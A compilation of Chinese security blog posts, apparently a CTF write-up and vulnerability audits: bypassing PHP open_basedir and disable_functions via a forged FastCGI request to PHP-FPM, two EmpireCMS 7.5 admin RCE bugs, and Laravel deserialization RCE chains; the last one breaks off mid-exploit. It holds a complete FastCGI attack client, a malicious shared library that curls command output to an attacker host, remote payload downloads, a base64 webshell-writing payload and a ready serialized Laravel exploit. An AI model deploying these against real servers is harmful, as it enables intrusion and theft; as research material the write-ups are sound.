isvip==1就能代码执行了,phpinfo()看了一下,有disable_funcions和open_basedir的限制,而且过滤跟0CTF那道题很相似,但是没有安装Imagick拓展
image_1dkakvbks1m3dlh01vaarvb17l85n.png-266.2kB

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail

什么是FastCGI和FPM

举个例子,如果我们请求index.php,根据配置文件,Web Server知道这个不是静态文件,需要去找 PHP 解析器来处理,那么他会把这个请求简单处理,然后交给PHP解析器。Web Server 一般指Apache、Nginx、IIS、Lighttpd、Tomcat等服务器
image_1dkah71fj1l9u4mu2gfsd2q6d9.png-61.5kB

CGI&FastCGI

CGI(Common Gateway Interface)全称是“通用网关接口”,WEB 服务器与PHP应用进行“交谈”的一种工具。WEB服务器会传哪些数据给PHP解析器呢?URL、查询字符串、POST数据、HTTP header都会有。所以,CGI就是规定要传哪些数据,以什么样的格式传递给后方处理这个请求的协议。

FastCGI是用来提高CGI程序性能的。类似于CGI,FastCGI也可以说是一种协议。简单来说就是CGI的优化:对于CGI来说,每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展,并重新初始化全部数据结构。而使用FastCGI,所有这些都只在进程启动时发生一次。还有一个额外的好处是,持续数据库连接(Persistent database connection)可以工作。

FastCGI的工作原理如下:
image_1dkahc1jogup1l5v1dlr9qe1c1n26.png-88.7kB

1、Web Server启动时载入FastCGI进程管理器(Apache Module或IIS ISAPI等)

2、FastCGI进程管理器自身初始化,启动多个CGI解释器进程(可建多个php-cgi),并等待来自Web Server的连接。

3、当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。

4、FastCGI子进程完成处理后,将标准输出和错误信息从同一连接返回Web Server。当FastCGI子进程关闭连接时,请求便告处理完成。FastCGI子进程接着等待,并处理来自FastCGI进程管理器(运行在Web Server中)的下一个连接。 在CGI模式中,php-cgi在此便退出了。

PHP-FPM

FPM(php-fastcgi program manager)顾名思义,这是一个PHP专用的 fastcgi 管理器。也就是说,PHP-FPM 是对于 FastCGI 协议的具体实现,他负责管理一个进程池,来处理来自Web服务器的请求。目前,PHP5.3版本之后,PHP-FPM是内置于PHP的。因为PHP-CGI只是个CGI程序,他自己本身只能解析请求,返回结果,不会进程管理。所以就出现了一些能够调度 php-cgi 进程的程序,比如说由lighthttpd分离出来的spawn-fcgi。同样,PHP-FPM也是用于调度管理PHP解析器php-cgi的管理程序。

open_basedir的绕过

前提是我们能够执行一段php程序来伪造FastCGI.php

在PHP中:

  • 可以通过在FastCGI协议修改PHP_VALUE字段进而修改php.ini中的一些设置,而open_basedir 同样可以通过此种方法进行设置。比如:$php_value = "open_basedir = /";

  • 因为FPM没有判断请求的来源是否必须来自Webserver。根据PHP解析器的流程,我们可以伪造FastCGI向FPM发起请求,PHP_VALUE相当于改变.ini中的设置,覆盖了本身的open_basedir

FastCGI脚本

<?php
class TimedOutException extends \Exception {
}
class ForbiddenException extends \Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct( $host, $port ) {
    $this->_host = $host;
    $this->_port = $port;
}
public function setKeepAlive( $b ) {
          $this->_keepAlive = (boolean) $b;
          if ( ! $this->_keepAlive && $this->_sock ) {
              fclose( $this->_sock );
    }
}
public function getKeepAlive() {
    return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
          $was_persistent          = ( $this->_sock && $this->_persistentSocket );
          $this->_persistentSocket = (boolean) $b;
          if ( ! $this->_persistentSocket && $was_persistent ) {
              fclose( $this->_sock );
    }
}
public function getPersistentSocket() {
    return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
          $this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
    return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
          $this->_readWriteTimeout = $timeoutMs;
          $this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
    return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
          if ( ! $this->_sock ) {
        return false;
    }
    return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
    if ( ! $this->_sock ) {
              if ( $this->_persistentSocket ) {
                  $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              } else {
                  $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
              }
              if ( ! $this->_sock ) {
                  throw new \Exception( 'Unable to connect to FastCGI application: ' . $errstr );
              }
              if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
            throw new \Exception( 'Unable to set timeout on socket' );
        }
    }
}
private function buildPacket( $type, $content, $requestId = 1 ) {
          $clen = strlen( $content );
    return chr( self::VERSION_1 )         /* version */
           . chr( $type )                    /* type */
                 . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
           . chr( $requestId & 0xFF )        /* requestIdB0 */
                 . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
           . chr( $clen & 0xFF )             /* contentLengthB0 */
                 . chr( 0 )                        /* paddingLength */
                 . chr( 0 )                        /* reserved */
                 . $content;                     /* content */
}
private function buildNvpair( $name, $value ) {
    $nlen = strlen( $name );
    $vlen = strlen( $value );
    if ( $nlen < 128 ) {
              /* nameLengthB0 */
              $nvpair = chr( $nlen );
          } else {
              /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
              $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
          }
          if ( $vlen < 128 ) {
        /* valueLengthB0 */
        $nvpair .= chr( $vlen );
    } else {
        /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
        $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    }
    /* nameData & valueData */
    return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
    $array = array();
          if ( $length === null ) {
        $length = strlen( $data );
    }
    $p = 0;
          while ( $p != $length ) {
              $nlen = ord( $data{$p ++} );
              if ( $nlen >= 128 ) {
                  $nlen = ( $nlen & 0x7F << 24 );
                  $nlen |= ( ord( $data{$p ++} ) << 16 );
                  $nlen |= ( ord( $data{$p ++} ) << 8 );
                  $nlen |= ( ord( $data{$p ++} ) );
              }
              $vlen = ord( $data{$p ++} );
              if ( $vlen >= 128 ) {
                  $vlen = ( $nlen & 0x7F << 24 );
                  $vlen |= ( ord( $data{$p ++} ) << 16 );
                  $vlen |= ( ord( $data{$p ++} ) << 8 );
                  $vlen |= ( ord( $data{$p ++} ) );
              }
              $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
              $p                                   += ( $nlen + $vlen );
    }
    return $array;
}
private function decodePacketHeader( $data ) {
          $ret                  = array();
          $ret['version']       = ord( $data{0} );
          $ret['type']          = ord( $data{1} );
          $ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
          $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
          $ret['paddingLength'] = ord( $data{6} );
          $ret['reserved']      = ord( $data{7} );
    return $ret;
}
private function readPacket() {
    if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
        $resp            = $this->decodePacketHeader( $packet );
              $resp['content'] = '';
        if ( $resp['contentLength'] ) {
                  $len = $resp['contentLength'];
                  while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
                      $len             -= strlen( $buf );
                      $resp['content'] .= $buf;
                  }
              }
              if ( $resp['paddingLength'] ) {
            $buf = fread( $this->_sock, $resp['paddingLength'] );
        }
        return $resp;
    } else {
        return false;
    }
}
public function getValues( array $requestedInfo ) {
          $this->connect();
          $request = '';
          foreach ( $requestedInfo as $info ) {
              $request .= $this->buildNvpair( $info, '' );
          }
          fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
          $resp = $this->readPacket();
          if ( $resp['type'] == self::GET_VALUES_RESULT ) {
              return $this->readNvpair( $resp['content'], $resp['length'] );
    } else {
        throw new \Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    }
}
public function request( array $params, $stdin ) {
    $id = $this->async_request( $params, $stdin );
    return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
    $this->connect();
          // Pick random number between 1 and max 16 bit unsigned int 65535
          $id = mt_rand( 1, ( 1 << 16 ) - 1 );
    // Using persistent sockets implies you want them keept alive by server!
    $keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
          $request       = $this->buildPacket( self::BEGIN_REQUEST
              , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
        , $id
          );
          $paramsRequest = '';
    foreach ( $params as $key => $value ) {
              $paramsRequest .= $this->buildNvpair( $key, $value, $id );
          }
          if ( $paramsRequest ) {
        $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
    }
    $request .= $this->buildPacket( self::PARAMS, '', $id );
          if ( $stdin ) {
        $request .= $this->buildPacket( self::STDIN, $stdin, $id );
    }
    $request .= $this->buildPacket( self::STDIN, '', $id );
          if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
        $info = stream_get_meta_data( $this->_sock );
        if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Write timed out' );
              }
              // Broken pipe, tear down so future requests might succeed
              fclose( $this->_sock );
        throw new \Exception( 'Failed to write request to socket' );
    }
    $this->_requests[ $id ] = array(
        'state'    => self::REQ_STATE_WRITTEN,
        'response' => null
    );
    return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
    if ( ! isset( $this->_requests[ $requestId ] ) ) {
        throw new \Exception( 'Invalid request id given' );
    }
    if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
         || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
    ) {
        return $this->_requests[ $requestId ]['response'];
    }
    if ( $timeoutMs > 0 ) {
              // Reset timeout on socket for now
              $this->set_ms_timeout( $timeoutMs );
          } else {
              $timeoutMs = $this->_readWriteTimeout;
    }
    $startTime = microtime( true );
          do {
              $resp = $this->readPacket();
              if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
                  if ( $resp['type'] == self::STDERR ) {
                      $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
                  }
                  $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
              }
              if ( $resp['type'] == self::END_REQUEST ) {
                  $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
                  if ( $resp['requestId'] == $requestId ) {
                      break;
                  }
              }
              if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
                  // Reset
                  $this->set_ms_timeout( $this->_readWriteTimeout );
                  throw new \Exception( 'Timed out' );
              }
          } while ( $resp );
    if ( ! is_array( $resp ) ) {
              $info = stream_get_meta_data( $this->_sock );
              // We must reset timeout but it must be AFTER we get info
              $this->set_ms_timeout( $this->_readWriteTimeout );
              if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Read timed out' );
              }
              if ( $info['unread_bytes'] == 0
                   && $info['blocked']
                   && $info['eof'] ) {
                  throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
              }
              throw new \Exception( 'Read failed' );
          }
          // Reset timeout
          $this->set_ms_timeout( $this->_readWriteTimeout );
          switch ( ord( $resp['content']{4} ) ) {
        case self::CANT_MPX_CONN:
            throw new \Exception( 'This app can\'t multiplex [CANT_MPX_CONN]' );
            break;
        case self::OVERLOADED:
            throw new \Exception( 'New request rejected; too busy [OVERLOADED]' );
            break;
        case self::UNKNOWN_ROLE:
            throw new \Exception( 'Role value not known [UNKNOWN_ROLE]' );
            break;
        case self::REQUEST_COMPLETE:
            return $this->_requests[ $requestId ]['response'];
    }
}
}
$client    = new Client("unix:///tmp/php-cgi.sock", -1);
  $php_value = "open_basedir = /";
$filepath  = '/tmp/readflag.php';
  $content   = 'hpdoger';
echo $client->request(
      array(
          'GATEWAY_INTERFACE' => 'FastCGI/1.0',
          'REQUEST_METHOD'    => 'POST',
          'SCRIPT_FILENAME'   => $filepath,
    'SERVER_SOFTWARE'   => 'php/fcgiclient',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9985',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'mag-tured',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH'    => strlen( $content ),
          'PHP_VALUE'         => $php_value,
),
$content
);

题目复现

回到这个题目,首先我们找到P神有一篇文章PHP绕过open_basedir列目录的研究

上传一个php到/tmp下,包含之后列一下根目录存在哪些文件

copy('http://vps/log2.txt','/tmp/scandir.php')

*lo2.txt*=>
<?php
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

image_1dkalj2gr1c4434273c1geo1a8e64.png-226.6kB

使用同样的copy方法上传我们的FastCGI脚本,脚本中php_value的值是我们的FastCGI要传给FPM的值用来修改php.ini,并且根据SCRIPT_FILENAME对php文件进行执行/tmp/readflag.php

同时脚本还要修改的地方,就是使用套接字协议去加载socket。Nginx连接fastcgi的方式有2种:TCP和unix domain socket,脚本使用的即第二种形式。根据不同的php版本,找不同的fastcgi的套接字。在0CTF的题目中,大家用的是php7.2默认的FPM套接字/run/php/php7.3-fpm.sock),其实FastCGI/FPM套接字都可以用,但是php5的默认

出题人在tmp目录已经给我们FastCGI的套接字/tmp/php-cgi.sock,直接修改脚本

new Client("unix:///tmp/php-cgi.sock", -1)

同时我们还要上传一个readflag.php文件作为脚本的SCRIPT_FILENAME,这里我让FPM为我们加载这样一个php脚本,成功读到readflag程序。但此时我们仍需要bypass disable_functions

<?php
var_dump(file_get_contents('/readflag'));

image_1dkaqauqt1pud86t1j5rqei74f7e.png-406.1kB

Disable_functions的绕过

FastCGI加载so

看了下Disable_functions留给我们的有putenv()

关于LD_PRELOAD与putenv也就不过多介绍了,飘零师傅文章写的很详细。大意就是把恶意的so文件加载到环境变量中去执行,而so是我们编译出来的c文件,包含rce的语句,这也是当时0CTF的解题思路。

不过在这道题中,没有安装Imagick,也没有mail函数。但是还有一个函数也会调用sendmail去开进程->error_log,后面会复现一下error_log的做法。

那么既然putenv()+函数是把so文件加载到环境变量中再去调用,那么我们fastcgi也完全可以做同样的事,只需要更改一下上面脚本的 php_value给ini添加一个extender就行了

 $php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nextension_dir = /tmp\nextension = hpdoger.so\n

编译一个恶意的c文件hpdoger.c,这里直接用网上亘古不变的写法

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl vps:6666/`/readflag`");
}

通过shared命令编译gcc hpdoger.c -fPIC -shared -o hpdoger.so,依然是通过copy命令上传fastcgi.php和hpdoger.so,此时/tmp下应该有这两个文件

copy('http://vps/hpdoger.so','/tmp/hpdoger.so')

image_1dkatupe71fhkrvopqi1s0a1v5nm.png-272kB

直接包含fastcgi就能加载并调用hpdoger.so->bypass base_opendir->rce

find=.*/e%00&replace=include('/tmp/fastcgi.php')&id=4184&regex=1`

image_1dkatnc0vgq56a717rh1dff1u7s9.png-78.4kB

LD_PRELOAD加载so

前文提到mail被Disable_functions了,但是mail和error_log都调用了外部进程sendmail。这里编写一个php来调用error_log,然后代码执行包含这个/tmp下的php即可rce

<?php
putenv("LD_PRELOAD=/tmp/hpdoger.so");
error_log('',1);
?>

总结

自闭点在于本地环境和远程环境真的是两个概念,mac环境gcc编译和ubuntu的gcc编译出来的东西天壤之别..

帝国(EmpireCMS)7.5的两个后台RCE审计

帝国(EmpireCMS)7.5的两个后台RCE审计

原文首发于先知:https://xz.aliyun.com/t/6228

后台RCE-增加自定义页面

漏洞复现

这个漏洞挖掘最初来源于qclover师傅:EmpireCMS_V7.5的一次审计

但是在这篇复现的文章中还是有一些出入的地方,比如说getshell的具体位置和成因。这里重新跟进分析一下

首先看一下getshell的流程,这个洞有点像黑盒to白盒
image_1dje3gco735q1k5m1f11n071a634r.png-328kB

增加页面功能,会在程序根目录生成一个shell.php,访问为phpinfo结果
image_1djdll0r410dk6ktm7stsgrlm.png-248.3kB

但是在我写入其他木马时,例如<?php @eval($_REQUEST[hpdoger]);?>,根目录却生成了一个空的shell.php文件
image_1djdlqbum1gj217cp2d61d5f1hi613.png-56.4kB

此时就有些疑问,推测真正的漏洞点应该不是在根目录写入一个php,应该另有它径,这里分析一下漏洞产生的真正成因。

漏洞分析

入口在e/admin/ecmscom.php代码48行,跟进函数AddUserpage
image_1djdm53uj1m201n781ncr7ednrr1g.png-431.1kB

重点关注两个参数的流程:path、pagetext
image_1djdm8m8l6ve645da3es96c51t.png-535.4kB

步入RepPhpAspJspcode函数

function RepPhpAspJspcode($string){
    global $public_r;
    if(!$public_r[candocode]){
        //$string=str_replace("<?xml","[!--ecms.xml--]",$string);
        $string=str_replace("<\\","&lt;\\",$string);
        $string=str_replace("\\>","\\&gt;",$string);
        $string=str_replace("<?","&lt;?",$string);
        $string=str_replace("<%","&lt;%",$string);
        if(@stristr($string,' language'))
        {
            $string=preg_replace(array('!<script!i','!</script>!i'),array('&lt;script','&lt;/script&gt;'),$string);
        }
        //$string=str_replace("[!--ecms.xml--]","<?xml",$string);
    }
    return $string;
}

这个函数用来对pagetext参数进行了php标签的实体化,但是empirecms默认public_r[candocode]为null,所以这里相当于直接返回了原始pagetext的值

继续回到AddUserpage函数,接着步入ReUserpage函数,在e/class/functions.php的4281行
image_1djdmv7bv17551oir15kv1do5sg42a.png-298.8kB

获取程序的根路径后拼接传入的path,而后DoFileMKDir在根目录建立了shell.php

接着步入InfoNewsBq函数,也是这个漏洞产生的函数。关键代码在e/class/functions.php的2469-2496行

image_1djdnbjo2pelbn91uh11ks21u8p2n.png-496.3kB

$file参数以php结尾,通过WriteFiletext函数向$file中写入上一步的pagetext(这里为$indextext),而WriteFiletext是没有任何过滤的

function WriteFiletext($filepath,$string){
    global $public_r;
    $string=stripSlashes($string);
    $fp=@fopen($filepath,"w");
    @fputs($fp,$string);
    @fclose($fp);
    if(empty($public_r[filechmod]))
    {
        @chmod($filepath,0777);
    }
}

于是在e/data/tmp目录下,以模版文件的形式写入webshell,同时也将AddCheckViewTempCode()返回的权鉴方法写了进去,所以我们不能直接以url的方式访问这个webshell。
image_1djdo4l1d1gte63t1qcb1a73aho4e.png-278.6kB

但是仍有方法使这个webshell执行并将结果输出。原因在下面这几行
image_1djdnjf5p1b2p1oan4pqn7bd2434.png-564.3kB

由于入口处定义了常量InEmpireCMS,ob_get_contents可以读取缓冲区的输出,而输出正好是刚才我们包含进去的shell的结果。因此执行了phpinfo()后将要输出到浏览器的内容赋值给了$string变量并返回,在ReUserpage函数中又进行了一次写入,缓冲结果写入的根目录下的shell.php,造成一个表面getshell的现象,其实是一种rce。

image_1djdnpbbj180fdns1d2h1bvd1neu3h.png-355.3kB

漏洞修复

设置$public_r[candocode]为true进行写入内容的过滤

后台首页模版处rce到getshell

承接上一个漏洞,整个empirecms不少用到ob_get_contents的地方,所以就想挖掘一下还有没有其他可以利用的点,最后把眼光锁在增加模版处。

漏洞复现

在后台模版功能处,选择管理首页模版,然后点击增加首页方案
image_1djp1p7ed1g6q1vs61qof19pb7cjm.png-226.2kB

复制下面的payload,填写到模版内容处,点击提交。

<?php 
$aa = base64_decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA);
${(system)($aa)};
?>

image_1djp1rm8v2kc1s6l1f3b1g59cjk1g.png-311.9kB

其中base64编码部分为

ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA
=>
echo '<?php eval($_REQUEST[hp]);'>shell.php

再点击启用此方案即可getshell,在e/admin/template/目录下生成shell.php

image_1djp21du0o250ocp31lnuad21t.png-64.3kB
image_1djp23v55qua1pa11b021uir1qmp2a.png-278.2kB

漏洞分析

在e/class/functions.php的NewsBq函数中调用WriteFiletext函数向/e/data/tmp/index.php中写入文件并包含
image_1djp2kjth3i01l78dg91q3g1lba2n.png-588.3kB

查找一下哪些地方调用NewsBq函数,最后锁定在e/admin/template/ListIndexpage.phpDefIndexpage
image_1djp2t8jo6ej1l7t1ui9t9i734.png-459.9kB

首先从库里获取得到$r[temptext]作为参数传入NewsBq,此时$class为null。那么文件内容可控吗?查看一下入库的语句,看看存不存在任意写入,全局搜索enewsindexpage

在同文件ListIndexpage.php的第23行到47行,调用insert语句向enewsindexpage中增加数据,关键代码如下

function AddIndexpage($add,$userid,$username){
    global $empire,$dbtbpre;
    if(!$add[tempname]||!$add[temptext])
    {
        printerror("EmptyIndexpageName","history.go(-1)");
    }
    ...
    $add[tempname]=hRepPostStr($add[tempname],1);
    $add[temptext]=RepPhpAspJspcode($add[temptext]);
    $sql=$empire->query("insert into {$dbtbpre}enewsindexpage(tempname,temptext) values('".$add[tempname]."','".eaddslashes2($add[temptext])."');");
    ...
}

调用AddIndexpage的入口为:

$enews=$_POST['enews'];
if(empty($enews))
{$enews=$_GET['enews'];}

if($enews=="AddIndexpage")
{
    AddIndexpage($_POST,$logininid,$loginin);
}

所以$add$_POST获取的数组,经过一次eaddslashes2函数清洗后以temptext字段存入库,而eaddslashes2在内部调用的是addslashes。猜想开发者最初可能只是为了防止sql注入,而没有进行其他类型过滤。但是我们执行任意命令是可以绕过addslashes的限制,取出来temptext字段来rce。

只需要用到复杂变量:PHP复杂变量绕过addslashes()直接拿shell

整理思路:入库rce语句->取出库->写文件->包含rce->getshell

漏洞修复

对入库语句进行过滤,建议在eaddslashes2中增加一些过滤机制

Laravel由destrcuct引起的两处反序列化RCE分析

Laravel由destrcuct引起的两处反序列化RCE分析

文章首发于安全客:https://www.anquanke.com/post/id/184541

laravel本身没有反序列化的调用机制,只有依赖于二次开发或者敏感函数才能触发反序列化。在Laravel5.3以后的版本引入Illuminate\Broadcasting\PendingBroadcast.php文件,存在__destrcut魔法函数引发一系列问题。这里我对框架本身能造成rce的点进行分析,一处是三方组件fzaninotto的回调调用call_user_func_array造成的rce,另一处是
p神在lumenserial找到laravel核心库的一处任意函数调用。

Laravel自加载组件fzaninotto组件RCE

版本说明

fzaninotto在laravel 5.1以后composer默认安装
image_1dhoajden1lhl1rrdc1i18qr82s9.png-164.8kB

autoload_classmap.php可以看到,在进行依赖加载的时候默认将/fzaninotto/faker/src/Faker/Generator.php注册到全局变量$classmap中,在程序调用相关类时遵从PSR4的规范,也就是说我们反序列化是可以调用/fzaninotto/faker/src/Faker/目录下的任何文件。

image_1dhoalu3vkne6bp7mf1nfj7qhm.png-751.3kB

适用条件

  • laravel 5.3-5.8
  • 寻找可控的反序列化点,才能触发该漏洞

漏洞复现

环境搭建

本地搭建laravel最新的环境 5.8.29
image_1dhobbpoc1j5p1toc1rf71rd729l9.png-332kB

构造一个反序列化可控点,在app/Http/Controllers文件夹下创建文件TaskController.php,源码如下:

<?php
namespace App\Http\Controllers;

class TaskController
{
    public function index(){
        unserialize($_GET['url']);
    }
}

routes/web.php文件中添加这样路由记录

Route::get('/bug', 'TaskController@index');

image_1dhoc20tt1p37lmb30g19m1s1v13.png-234.4kB

漏洞复现

EXP

<?php
//exp.php
namespace Faker{
    class Generator{
        protected $formatters = array();

        public function __construct($formatters)
        {
            $this->formatters = $formatters;
        }
    }
}

namespace Illuminate\Broadcasting{
    class PendingBroadcast.php``
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }

    }
}

namespace{
    $generator = new Faker\Generator(array("dispatch"=>"system"));
    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($generator,"id");
    echo urlencode(serialize($PendingBroadcast));

}

运行exp.php生成poc,如果环境搭建没有问题,直接请求下面的uri既能看到rce效果

bug?url=O%3A40%3A"Illuminate%5CBroadcasting%5CPendingBroadcast"%3A2%3A%7Bs%3A9%3A"%00%2A%00events"%3BO%3A15%3A"Faker%5CGenerator"%3A1%3A%7Bs%3A13%3A"%00%2A%00formatters"%3Ba%3A1%3A%7Bs%3A8%3A"dispatch"%3Bs%3A6%3A"system"%3B%7D%7Ds%3A8%3A"%00%2A%00event"%3Bs%3A2%3A"id"%3B%7D

image_1dhocrcl7t951nqna0abdu19l71t.png-97.7kB

EXP流程

在入口设置断点,传入payload
image_1dhod29lhevt1urr1u8j8v1pf32a.png-239.1kB

步入Illuminate\Foundation\AliasLoader的load函数,检测要实例的对象是否是laravel注册门面类,这里不满足条件
image_1dhod50m81hlejqdltvv31ldd2n.png-189.3kB

因此步入Composer\Autoload\ClassLoader查找相应class对应于vendor中的php文件。也就是上文提到的laravel在加载服务容器时会执行的autoload_class作用结果

image_1dhoh4r22a9ln89upkgff5o53h.png-531.1kB

看到调用栈能够成功读取到Faker\Generato文件,并返回给includefile()

载入文件后步入到了反序列化的入口__destruct函数
image_1dhohl8c1b005lhch91ier1sij4o.png-261.2kB

步入执行dispatch函数,跳转到vendor/fzaninotto/faker/src/Faker/Generator.php的call方法
image_1dhohf6ii1qp5uk41vb81emh1tvi3u.png-347.9kB

跟进format函数如下图,发现此时的$arguments为可控值即我们序列化传入的$this->event
image_1dhohhel0113lp9j14iq1o7g1deg4b.png-436.8kB

继续步入看看getFormatter函数的具体实现

public function getFormatter($formatter) # formatter  = dispatch
{
    if (isset($this->formatters[$formatter])) { # formatters可控
        return $this->formatters[$formatter];
    }
    foreach ($this->providers as $provider) {
        if (method_exists($provider, $formatter)) {
            $this->formatters[$formatter] = array($provider, $formatter);

            return $this->formatters[$formatter];
        }
    }
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

判断formatters[formatter]存在即返回,然而formatters也是我们可控的,那就能返回任意函数名了。即call_user_func_arrary的函数名和函数值都可控,rce实现~
image_1dhoj1sdkbh3110j1vmq123efuf65.png-95.9kB

Dispatcher处存在任意函数调用

首先还是看一下造成漏洞的点在vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php,允许我们使用call_user_func进行任意函数调用,且参数可控。
image_1dhnv8s401hhqdai12u51uqgia1p.png-110.2kB

接着我们从源头追pop。入口方法依然在vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php中,__destrcut执行dispatch函数
image_1dhnvcu1b1koj1f5o3oh9e1blr16.png-108.5kB

这次全局搜索哪些类存在dispatch函数,正好dispatcher本身中就存在,而且调用到了漏洞触发函数dispatchToQueue去执行call_user_func

image_1dhnvi8t69udppb8bdhpo1sq11j.png-167.8kB

这里首先进行了如下条件判断

$this->queueResolver && $this->commandShouldBeQueued($command)

跟进commandShouldBeQueued发现command参数必须是继承自 ShouldQueue接口的对象才能进入判断,这点我们可以通过序列化控制$command为对象。
image_1dhnvu6om1vfb1i9vfqrkjnk7u30.png-34.1kB

只需要全局搜一下哪个类实现了ShouldQueue接口,这里使用BroadcastEvent
image_1dho0anindq2h3e12jnoj3vl23t.png-228.8kB

判断走通回到dispather,进行函数dispatchToQueue调用,$connection参数取自$command的connection属性
image_1dho0e2svl3kjdg166r1qv61cae4a.png-137.1kB

但是BroadcastEvent没有connection属性。不过没有关系,我们自己序列化可以给类添加任何想要的属性。因为反序列化的时候不执行该类__contrust,自然也不会在BroadcastEvent中报错。

流程就这么简单,构造每个类的属性,让条件走通就行了。构造的exp

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
